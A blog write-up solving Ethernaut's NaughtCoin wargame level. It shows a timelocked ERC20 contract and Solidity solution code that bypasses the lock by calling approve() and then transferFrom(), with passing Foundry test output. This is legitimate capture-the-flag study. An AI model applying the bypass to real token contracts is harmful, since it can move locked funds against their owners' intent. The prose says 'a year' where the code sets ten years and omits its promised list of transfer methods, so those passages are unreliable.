capu's blog
Cookie free! NGINX logs your IP, tho

Ethernaut 15: NaughtCoin

Objective

Get the player's balance to zero.

Code

 1contract NaughtCoin is ERC20 {
 2    // string public constant name = 'NaughtCoin';
 3    // string public constant symbol = '0x0';
 4    // uint public constant decimals = 18;
 5    uint256 public timeLock = block.timestamp + 10 * 365 days;
 6    uint256 public INITIAL_SUPPLY;
 7    address public player;
 8
 9    constructor(address _player) ERC20("NaughtCoin", "0x0") {
10        player = _player;
11        INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
12        // _totalSupply = INITIAL_SUPPLY;
13        // _balances[player] = INITIAL_SUPPLY;
14        _mint(player, INITIAL_SUPPLY);
15        emit Transfer(address(0), player, INITIAL_SUPPLY);
16    }
17
18    function transfer(
19        address _to,
20        uint256 _value
21    ) public override lockTokens returns (bool) {
22        return super.transfer(_to, _value);
23    }
24
25    // Prevent the initial owner from transferring
26    // tokens until the timelock has passed
27    modifier lockTokens() {
28        if (msg.sender == player) {
29            require(block.timestamp > timeLock);
30            _;
31        } else {
32            _;
33        }
34    }
35}

This contract has a timelock, preventing the user from transferring tokens out until a year from deployment.

Solution

The ERC20 standard has two ways to move tokens:

and only the latter is overriden from the default implementation to prevent funds moving before the timelock elapses. Therefore, using the transferFrom method is enough to get around it.

function solution(address payable target_) internal override{
    uint256 amount = 1000000 * (10 ** 18);
    NaughtCoin target = NaughtCoin(target_);
    target.approve(attacker, amount);
    target.transferFrom(attacker, address(this), amount);
}
[I] () capu ~/s/ethernaut-solutions (master)> forge test --mc NaughtCoin
[ā †] Compiling...
No files changed, compilation skipped

Running 1 test for test/15-NaughtCoin.t.sol:NaughtCoinSolution
[PASS] testSolution() (gas: 4009231)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.44ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

šŸ˜Ž

Also on this blog:

Comments

Fede.j
2023-09-11
Nicee
Back to article list